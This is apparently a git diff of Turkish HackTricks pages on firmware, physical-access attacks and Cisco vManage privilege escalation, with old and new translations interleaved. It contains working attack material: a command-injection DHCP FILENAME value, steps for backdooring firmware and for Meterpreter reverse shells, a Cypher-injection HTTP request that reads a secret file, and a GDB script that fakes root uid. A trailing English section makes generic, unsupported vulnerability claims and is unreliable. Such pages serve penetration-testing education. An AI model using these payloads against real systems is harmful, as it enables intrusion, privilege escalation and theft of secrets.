- Bir cihazın bir PXE önyükleme sırasında alması için kötü amaçlı parametrelere sahip sahte bir DHCP sunucusu kurun. Metasploit'in (MSF) DHCP yardımcı sunucusu gibi araçları kullanın. 'FILENAME' parametresini `'a";/bin/sh;#'` gibi komut enjeksiyon komutlarıyla değiştirerek cihazın önyükleme prosedürleri için giriş doğrulamasını test edin.
7. **Sahte DHCP Sunucusu Yapılandırın**:
- PXE başlatma sırasında bir cihazın alması için kötü niyetli parametrelerle sahte bir DHCP sunucusu kurun. Metasploit'in (MSF) DHCP yardımcı sunucusu gibi araçları kullanın. 'FILENAME' parametresini `'a";/bin/sh;#'` gibi komut enjeksiyon komutları ile değiştirerek cihaz başlangıç prosedürleri için giriş doğrulamasını test edin.
**Not**: Cihaz pinleriyle fiziksel etkileşim gerektiren adımlar (*yıldızla işaretlenmiş) cihazı zarar görmekten kaçınmak için son derece dikkatli bir şekilde ele alınmalıdır.
**Not**: Cihaz pinleri ile fiziksel etkileşim içeren adımlar (*yıldız ile işaretlenmiş) cihazın zarar görmesini önlemek için son derece dikkatli bir şekilde yaklaşılmalıdır.
## Referanslar
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,58 +1,23 @@
<details>
## Firmware Integrity
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme becerilerini</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
**Özel firmware ve/veya derlenmiş ikili dosyalar, bütünlük veya imza doğrulama hatalarını istismar etmek için yüklenebilir.** Aşağıdaki adımlar arka kapı bind shell derlemesi için izlenebilir:
HackTricks'ı desteklemenin diğer yolları:
1. Firmware, firmware-mod-kit (FMK) kullanılarak çıkarılabilir.
2. Hedef firmware mimarisi ve endianlık belirlenmelidir.
3. Ortam için uygun yöntemler kullanılarak Buildroot ile bir çapraz derleyici oluşturulabilir.
4. Arka kapı, çapraz derleyici kullanılarak oluşturulabilir.
5. Arka kapı, çıkarılan firmware /usr/bin dizinine kopyalanabilir.
6. Uygun QEMU ikili dosyası, çıkarılan firmware rootfs'ye kopyalanabilir.
7. Arka kapı, chroot ve QEMU kullanılarak taklit edilebilir.
8. Arka kapıya netcat aracılığıyla erişilebilir.
9. QEMU ikili dosyası, çıkarılan firmware rootfs'den kaldırılmalıdır.
10. Değiştirilen firmware, FMK kullanılarak yeniden paketlenebilir.
11. Arka kapılı firmware, firmware analiz araç seti (FAT) ile taklit edilerek ve hedef arka kapı IP'sine ve portuna netcat kullanarak bağlanarak test edilebilir.
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
Eğer dinamik analiz, önyükleyici manipülasyonu veya donanım güvenlik testi yoluyla bir root shell elde edilmişse, implantlar veya ters shell gibi önceden derlenmiş kötü niyetli ikili dosyalar çalıştırılabilir. Metasploit çerçevesi ve 'msfvenom' gibi otomatik yük/implant araçları aşağıdaki adımlar kullanılarak yararlanılabilir:
</details>
## Firmware Bütünlüğü
**Özel firmware ve/veya derlenmiş ikili dosyaların bütünlüğü veya imza doğrulama hatalarını sömürmek için yüklenebilir**. Arka kapı bağlama kabuk derlemesi için aşağıdaki adımlar izlenebilir:
1. Firmware-mod-kit (FMK) kullanılarak firmware çıkarılabilir.
2. Hedef firmware mimarisi ve endianlığı belirlenmelidir.
3. Buildroot veya diğer uygun yöntemler kullanılarak çapraz derleyici oluşturulabilir.
4. Arka kapı çapraz derleyici kullanılarak oluşturulabilir.
5. Arka kapı, çıkarılan firmware'in /usr/bin dizinine kopyalanabilir.
6. Uygun QEMU ikili dosyası, çıkarılan firmware rootfs'ine kopyalanabilir.
7. Arka kapı, chroot ve QEMU kullanılarak emüle edilebilir.
8. Arka kapı, netcat aracılığıyla erişilebilir.
9. QEMU ikili dosyası, çıkarılan firmware rootfs'inden kaldırılmalıdır.
10. Değiştirilmiş firmware, FMK kullanılarak yeniden paketlenebilir.
11. Arka kapılı firmware, firmware analiz aracı (FAT) kullanılarak emüle edilerek ve netcat kullanılarak hedef arka kapı IP'sine ve bağlantı noktasına bağlanarak test edilebilir.
Eğer bir root kabuk zaten dinamik analiz, önyükleme yükleyicisi manipülasyonu veya donanım güvenlik testi yoluyla elde edilmişse, implantlar veya ters kabuklar gibi önceden derlenmiş kötü amaçlı ikili dosyalar yürütülebilir. Metasploit çerçevesi ve 'msfvenom' gibi otomatik yük/implant araçları aşağıdaki adımlar kullanılarak kullanılabilir:
1. Hedef firmware mimarisi ve endianlığı belirlenmelidir.
2. Msfvenom, hedef yükü, saldırgan ana bilgisayar IP'sini, dinleme bağlantı noktası numarasını, dosya türünü, mimarisini, platformunu ve çıktı dosyasını belirtmek için kullanılabilir.
3. Yük, tehlikeye atılan cihaza aktarılabilir ve yürütme izinlerine sahip olduğundan emin olunabilir.
4. Gelen istekleri işlemek için Metasploit, msfconsole'ı başlatarak ve ayarları yüküne göre yapılandırarak hazırlanabilir.
5. Meterpreter ters kabuk, tehlikeye atılan cihazda yürütülebilir.
6. Açılan Meterpreter oturumları izlenebilir.
7. Saldırı sonrası faaliyetler gerçekleştirilebilir.
Mümkünse, başlangıç betiklerindeki zafiyetlerden yararlanarak bir cihaza yeniden başlatmalar arasında kalıcı erişim sağlanabilir. Bu zafiyetler, başlangıç betiklerinin, [sembolik bağlantı](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data) yaparak veya güvenilmeyen bağlanmış konumlar olarak SD kartlar ve veri depolamak için kullanılan flash birimler gibi kök dosya sistemlerinin dışında veri depolamak için kullanılan kodlara başvurduğunda ortaya çıkar.
## Referanslar
* Daha fazla bilgi için [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme becerilerini</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> öğrenin!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek paylaşın.
</details>
1. Hedef firmware mimarisi ve endianlık belirlenmelidir.
2. Msfvenom, hedef yükü, saldırgan ana bilgisayar IP'sini, dinleme port numarasını, dosya türünü, mimariyi, platformu ve çıktı dosyasını belirtmek için kullanılabilir.
3. Yük, ele geçirilmiş cihaza aktarılabilir ve yürütme izinlerinin olduğu garanti edilmelidir.
4. Metasploit, msfconsole başlatarak ve ayarları yükleye göre yapılandırarak gelen istekleri işlemek için hazırlanabilir.
5. Meterpreter ters shell, ele geçirilmiş cihazda çalıştırılabilir.

View file

@ -1,67 +1,69 @@
# Fiziksel Saldırılar
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Sıfırdan kahraman olmak için AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
{% endhint %}
## BIOS Şifresi Kurtarma ve Sistem Güvenliği
## BIOS Şifre Kurtarma ve Sistem Güvenliği
**BIOS'un sıfırlanması** birkaç farklı şekilde gerçekleştirilebilir. Çoğu anakart, yaklaşık **30 dakika** çıkarıldığında BIOS ayarlarını, şifreyi de dahil olmak üzere sıfırlayacak bir **pil** içerir. Alternatif olarak, anakart üzerindeki bir **jumper** belirli pinleri birleştirerek bu ayarları sıfırlamak için ayarlanabilir.
**BIOS'u sıfırlamak**, birkaç şekilde gerçekleştirilebilir. Çoğu anakart, **30 dakika** kadar çıkarıldığında BIOS ayarlarını, şifreyi de içerecek şekilde sıfırlayan bir **pil** içerir. Alternatif olarak, bu ayarları sıfırlamak için anakart üzerindeki bir **jumper** belirli pinleri bağlayarak ayarlanabilir.
Donanım ayarlarının mümkün veya pratik olmadığı durumlarda, **yazılım araçları** bir çözüm sunar. **Kali Linux** gibi dağıtımlarla bir sistem **Canlı CD/USB** üzerinden çalıştırılarak **_killCmos_** ve **_CmosPWD_** gibi araçlara erişim sağlanabilir ve BIOS şifresi kurtarmaya yardımcı olabilir.
Donanım ayarlamalarının mümkün veya pratik olmadığı durumlar için, **yazılım araçları** bir çözüm sunar. **Kali Linux** gibi dağıtımlarla bir **Live CD/USB** üzerinden sistem çalıştırmak, BIOS şifre kurtarma konusunda yardımcı olabilecek **_killCmos_** ve **_CmosPWD_** gibi araçlara erişim sağlar.
BIOS şifresi bilinmediğinde, yanlışlıkla üç kez girilmesi genellikle bir hata koduna neden olur. Bu kod, [https://bios-pw.org](https://bios-pw.org) gibi web sitelerinde kullanılarak kullanılabilir bir şifre alınabilir.
BIOS şifresi bilinmediğinde, yanlış girildiğinde genellikle **üç kez** hata kodu ile sonuçlanır. Bu kod, kullanılabilir bir şifre elde etmek için [https://bios-pw.org](https://bios-pw.org) gibi web sitelerinde kullanılabilir.
### UEFI Güvenliği
Geleneksel BIOS yerine **UEFI** kullanan modern sistemler için, **chipsec** aracı, **Secure Boot**'un devre dışı bırakılması da dahil olmak üzere UEFI ayarlarını analiz etmek ve değiştirmek için kullanılabilir. Bu, aşağıdaki komutla gerçekleştirilebilir:
Geleneksel BIOS yerine **UEFI** kullanan modern sistemler için, **chipsec** aracı UEFI ayarlarını analiz etmek ve değiştirmek, **Secure Boot**'u devre dışı bırakmak için kullanılabilir. Bu, aşağıdaki komutla gerçekleştirilebilir:
`python chipsec_main.py -module exploits.secure.boot.pk`
### RAM Analizi ve Soğuk Başlatma Saldırıları
RAM, güç kesildikten sonra genellikle **1 ila 2 dakika** boyunca verileri korur. Bu süre, sıvı nitrojen gibi soğutucu maddeler uygulanarak **10 dakikaya** kadar uzatılabilir. Bu uzatılmış süre boyunca, **dd.exe** ve **volatility** gibi araçlar kullanılarak bir **bellek dökümü** oluşturulabilir ve analiz edilebilir.
RAM, güç kesildiğinde verileri kısa bir süre, genellikle **1 ila 2 dakika** boyunca saklar. Bu süre, sıvı azot gibi soğuk maddeler uygulanarak **10 dakikaya** kadar uzatılabilir. Bu uzatılmış süre boyunca, analiz için **dd.exe** ve **volatility** gibi araçlar kullanılarak bir **bellek dökümü** oluşturulabilir.
### Doğrudan Bellek Erişimi (DMA) Saldırıları
**INCEPTION**, **FireWire** ve **Thunderbolt** gibi arabirimlerle uyumlu olarak DMA aracılığıyla **fiziksel bellek manipülasyonu** için tasarlanmış bir araçtır. Herhangi bir şifreyi kabul eden belleği yamalayarak giriş prosedürlerini atlamayı sağlar. Ancak, **Windows 10** sistemlerine karşı etkisizdir.
**INCEPTION**, **FireWire** ve **Thunderbolt** gibi arayüzlerle uyumlu olan **fiziksel bellek manipülasyonu** için tasarlanmış bir araçtır. Herhangi bir şifreyi kabul etmek için belleği yamanarak oturum açma prosedürlerini atlamaya olanak tanır. Ancak, **Windows 10** sistemlerine karşı etkisizdir.
### Sistem Erişimi İçin Canlı CD/USB
### Sistem Erişimi için Live CD/USB
**_sethc.exe_** veya **_Utilman.exe_** gibi sistem ikili dosyalarını **_cmd.exe_** kopyası ile değiştirmek, sistem ayrıcalıklarıyla bir komut istemini sağlayabilir. **chntpw** gibi araçlar, Windows kurulumunun **SAM** dosyasını düzenlemek için kullanılabilir, böylece şifre değişiklikleri yapılabilir.
**_sethc.exe_** veya **_Utilman.exe_** gibi sistem ikili dosyalarını **_cmd.exe_** kopyası ile değiştirmek, sistem ayrıcalıkları ile bir komut istemcisi sağlayabilir. **chntpw** gibi araçlar, bir Windows kurulumunun **SAM** dosyasını düzenlemek için kullanılabilir ve şifre değişikliklerine olanak tanır.
**Kon-Boot**, Windows sistemlerine şifreyi bilmeden geçici olarak Windows çekirdeğini veya UEFI'yi değiştirerek oturum açmayı kolaylaştıran bir araçtır. Daha fazla bilgiye [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/) adresinden ulaşılabilir.
**Kon-Boot**, Windows çekirdeğini veya UEFI'yi geçici olarak değiştirerek şifreyi bilmeden Windows sistemlerine giriş yapmayı kolaylaştıran bir araçtır. Daha fazla bilgi [https://www.raymond.cc](https://www.raymond.cc/blog/login-to-windows-administrator-and-linux-root-account-without-knowing-or-changing-current-password/) adresinde bulunabilir.
### Windows Güvenlik Özelliklerinin İşlenmesi
### Windows Güvenlik Özelliklerini Yönetme
#### Başlatma ve Kurtarma Kısayolları
- **Supr**: BIOS ayarlarına erişim.
- **F8**: Kurtarma moduna gir.
- Windows logosundan sonra **Shift** tuşuna basarak otomatik oturumu atlayabilirsiniz.
- **F8**: Kurtarma moduna girme.
- Windows banner'ından sonra **Shift** tuşuna basmak, otomatik oturumu atlayabilir.
#### KÖTÜ USB Cihazları
#### Kötü USB Cihazları
**Rubber Ducky** ve **Teensyduino** gibi cihazlar, hedef bilgisayara bağlandığında önceden tanımlanmış yükleri yürütebilen **kötü USB** cihazları oluşturmak için platformlar olarak hizmet eder.
**Rubber Ducky** ve **Teensyduino** gibi cihazlar, hedef bilgisayara bağlandıklarında önceden tanımlanmış yükleri çalıştırabilen **kötü USB** cihazları oluşturmak için platformlar olarak hizmet eder.
#### Hacim Gölge Kopyası
Yönetici ayrıcalıkları, PowerShell aracılığıyla **SAM** dosyası dahil hassas dosyaların kopyalarının oluşturulmasına izin verir.
Yönetici ayrıcalıkları, PowerShell aracılığıyla **SAM** dosyası da dahil olmak üzere hassas dosyaların kopyalarını oluşturma imkanı sağlar.
### BitLocker Şifrelemesini Atlatma
BitLocker şifrelemesi, **hafıza dökümü dosyası (MEMORY.DMP)** içindeki **kurtarma şifresi** bulunursa atlatılabilir. Bu amaçla **Elcomsoft Forensic Disk Decryptor** veya **Passware Kit Forensic** gibi araçlar kullanılabilir.
BitLocker şifrelemesi, **kurtarma şifresi** bir bellek döküm dosyasında (**MEMORY.DMP**) bulunursa potansiyel olarak atlatılabilir. Bu amaçla **Elcomsoft Forensic Disk Decryptor** veya **Passware Kit Forensic** gibi araçlar kullanılabilir.
### Kurtarma Anahtarı Eklemek İçin Sosyal Mühendislik
### Kurtarma Anahtarı Ekleme için Sosyal Mühendislik
Yeni bir BitLocker kurtarma anahtarı, bir kullanıcıyı sıfırlama işlemini basitleştirmek için sıfırlama işlemi ekleyen bir komutu çalıştırmaya ikna ederek sosyal mühendislik taktikleriyle eklenilebilir.
Yeni bir BitLocker kurtarma anahtarı, bir kullanıcıyı sıfırlama işlemi gerçekleştirmeye ikna ederek, sıfırlama anahtarını sıfırlardan oluşan bir komut çalıştırmasını sağlayarak eklenebilir, böylece şifre çözme süreci basitleştirilir.

View file

@ -1,28 +1,31 @@
# Cisco - vmanage
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>AWS hackleme becerilerini sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary>HackTricks'i Destekleyin</summary>
* Bir **cybersecurity şirketinde** çalışıyor musunuz? **Şirketinizi HackTricks'te reklamını görmek** ister misiniz? veya **PEASS'ın en son sürümüne veya HackTricks'i PDF olarak indirmek** ister misiniz? [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family), özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin.
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin.
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**'u takip edin**.
* **Hacking hilelerinizi [hacktricks repo](https://github.com/carlospolop/hacktricks) ve [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**'a PR göndererek paylaşın.
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
## Yol 1
## Path 1
(Örnek [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html) adresinden alınmıştır)
(Örnek [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html) adresinden)
Biraz [belgelere](http://66.218.245.39/doc/html/rn03re18.html) göz attıktan sonra, `confd` ve farklı ikili dosyalarla ilgili (Cisco web sitesindeki bir hesapla erişilebilir) bazı belgelere göre, IPC soketini kimlik doğrulamak için `/etc/confd/confd_ipc_secret` konumunda bir gizli kullanıldığını bulduk:
`confd` ve Cisco web sitesinde bir hesapla erişilebilen farklı ikili dosyalarla ilgili bazı [belgelere](http://66.218.245.39/doc/html/rn03re18.html) biraz araştırma yaptıktan sonra, IPC soketini kimlik doğrulamak için `/etc/confd/confd_ipc_secret` konumunda bulunan bir gizli anahtar kullandığını bulduk:
```
vmanage:~$ ls -al /etc/confd/confd_ipc_secret
-rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret
```
Hatırlayın, Neo4j örneğimiz var mı? Bu, `vmanage` kullanıcısının ayrıcalıkları altında çalışıyor, bu da bize önceki zafiyeti kullanarak dosyayı almayı sağlıyor:
Hatırlıyor musunuz Neo4j örneğimizi? `vmanage` kullanıcısının ayrıcalıkları altında çalışıyor, bu da bize önceki zafiyeti kullanarak dosyayı almamıza olanak tanıyor:
```
GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1
@ -34,7 +37,7 @@ Host: vmanage-XXXXXX.viptela.net
"data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]}
```
`confd_cli` programı komut satırı argümanlarını desteklemez, ancak `/usr/bin/confd_cli_user`'ı argümanlarla çağırır. Bu nedenle, kendi argüman setimizle `/usr/bin/confd_cli_user`'ı doğrudan çağırabiliriz. Ancak mevcut yetkilerimizle okunabilir değil, bu yüzden rootfs'ten alıp scp kullanarak kopyalamamız, yardımı okumamız ve kabuğu elde etmek için kullanmamız gerekiyor:
`confd_cli` programı komut satırı argümanlarını desteklemiyor, ancak `/usr/bin/confd_cli_user`'ı argümanlarla çağırıyor. Bu nedenle, kendi argüman setimizle doğrudan `/usr/bin/confd_cli_user`'ı çağırabiliriz. Ancak mevcut ayrıcalıklarımızla okunabilir değil, bu yüzden onu rootfs'ten alıp scp kullanarak kopyalamamız, yardımı okumamız ve shell almak için kullanmamız gerekiyor:
```
vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret
@ -52,13 +55,13 @@ vManage:~# id
uid=0(root) gid=0(root) groups=0(root)
```
## Yol 2
## Path 2
(Örnek: [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77))
(Örnek [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77) adresinden)
Synacktiv ekibinin blog¹'ünde, bir root kabuğu elde etmek için zarif bir yol tarif edilmiştir, ancak dezavantajı yalnızca root tarafından okunabilen `/usr/bin/confd_cli_user` kopyasını elde etmeyi gerektirmesidir. Ben, bu tür zorluklar olmadan root ayrıcalığına yükseltmek için başka bir yol buldum.
Synacktiv ekibinin blogu¹, bir root shell elde etmenin şık bir yolunu tanımladı, ancak dezavantajı, yalnızca root tarafından okunabilen `/usr/bin/confd_cli_user` dosyasının bir kopyasını almayı gerektirmesidir. Böyle bir zahmete girmeden root'a yükselmenin başka bir yolunu buldum.
`/usr/bin/confd_cli` ikili dosyasını parçaladığımda aşağıdakileri gözlemledim:
`/usr/bin/confd_cli` ikili dosyasını çözdüğümde, aşağıdakileri gözlemledim:
```
vmanage:~$ objdump -d /usr/bin/confd_cli
… snipped …
@ -87,20 +90,20 @@ vmanage:~$ objdump -d /usr/bin/confd_cli
4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt>
… snipped …
```
"ps aux" komutunu çalıştırdığımda aşağıdakileri gözlemledim (_not -g 100 -u 107_)
When I run “ps aux”, I observed the following (_not -g 100 -u 107_)
```
vmanage:~$ ps aux
… snipped …
root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash
… snipped …
```
Ben, "confd\_cli" programının, giriş yapmış kullanıcıdan topladığı kullanıcı kimliği ve grup kimliğini "cmdptywrapper" uygulamasına ilettiğini varsaydım.
Ben “confd\_cli” programının, oturum açmış kullanıcıdan topladığı kullanıcı kimliğini ve grup kimliğini “cmdptywrapper” uygulamasına ilettiğini varsaydım.
İlk denemem, "cmdptywrapper"ı doğrudan çalıştırmak ve ona `-g 0 -u 0` sağlamaktı, ancak başarısız oldu. Görünüşe göre bir dosya tanımlayıcısı (-i 1015) yolda bir yerde oluşturuldu ve onu sahteleyemiyorum.
İlk denemem “cmdptywrapper”'ı doğrudan çalıştırmak ve ona `-g 0 -u 0` sağlamak oldu, ancak başarısız oldu. Görünüşe göre bir dosya tanımlayıcısı (-i 1015) bir yerde oluşturulmuş ve bunu taklit edemiyorum.
Synacktiv'in blogunda belirtildiği gibi (son örnek), `confd_cli` programı komut satırı argümanını desteklemiyor, ancak onu bir hata ayıklayıcıyla etkileyebilirim ve neyse ki sistemde GDB bulunuyor.
Synacktivin blogunda belirtildiği gibi (son örnek), `confd_cli` programı komut satırı argümanlarını desteklemiyor, ancak bir hata ayıklayıcı ile bunu etkileyebilirim ve şans eseri GDB sistemde mevcut.
API'yi zorlamak için bir GDB betiği oluşturdum ve `getuid` ve `getgid` işlevlerinin 0 değerini döndürmesini sağladım. Zaten deserializasyon RCE aracılığıyla "vmanage" ayrıcalığına sahip olduğum için, `/etc/confd/confd_ipc_secret` dosyasını doğrudan okuma iznim var.
API `getuid` ve `getgid`'in 0 döndürmesini zorladığım bir GDB betiği oluşturdum. Zaten deserialization RCE aracılığıyla “vmanage” ayrıcalığına sahip olduğum için, `/etc/confd/confd_ipc_secret` dosyasını doğrudan okuma iznim var.
root.gdb:
```
@ -120,43 +123,7 @@ root
end
run
```
# Cisco vManage
## Introduction
Cisco vManage is a cloud-based network management platform that provides centralized control and monitoring of Cisco SD-WAN devices. It allows network administrators to configure, monitor, and troubleshoot their SD-WAN infrastructure.
## Privilege Escalation
### Default Credentials
Cisco vManage uses default credentials for initial access. The default username is `admin` and the default password is `admin`. It is important to change these default credentials to prevent unauthorized access.
### Command Injection
Cisco vManage is vulnerable to command injection attacks. An attacker can exploit this vulnerability by injecting malicious commands into user input fields. This can lead to remote code execution and privilege escalation.
To exploit this vulnerability, an attacker needs to identify the vulnerable input fields and inject the malicious commands. This can be done by analyzing the application's source code or by using automated tools like Burp Suite.
Once the attacker successfully injects the malicious commands, they can execute arbitrary commands on the underlying operating system with the privileges of the application.
### File Upload
Cisco vManage allows users to upload files for various purposes. However, it does not properly validate the uploaded files, which can lead to privilege escalation.
An attacker can exploit this vulnerability by uploading a malicious file that contains a payload. Once the file is uploaded, the attacker can trigger the payload to execute arbitrary commands on the underlying operating system with the privileges of the application.
To exploit this vulnerability, an attacker needs to identify the file upload functionality and upload a malicious file. This can be done by analyzing the application's source code or by using automated tools like Burp Suite.
### Remote Code Execution
Cisco vManage is vulnerable to remote code execution attacks. An attacker can exploit this vulnerability by injecting malicious code into user input fields or by uploading a malicious file.
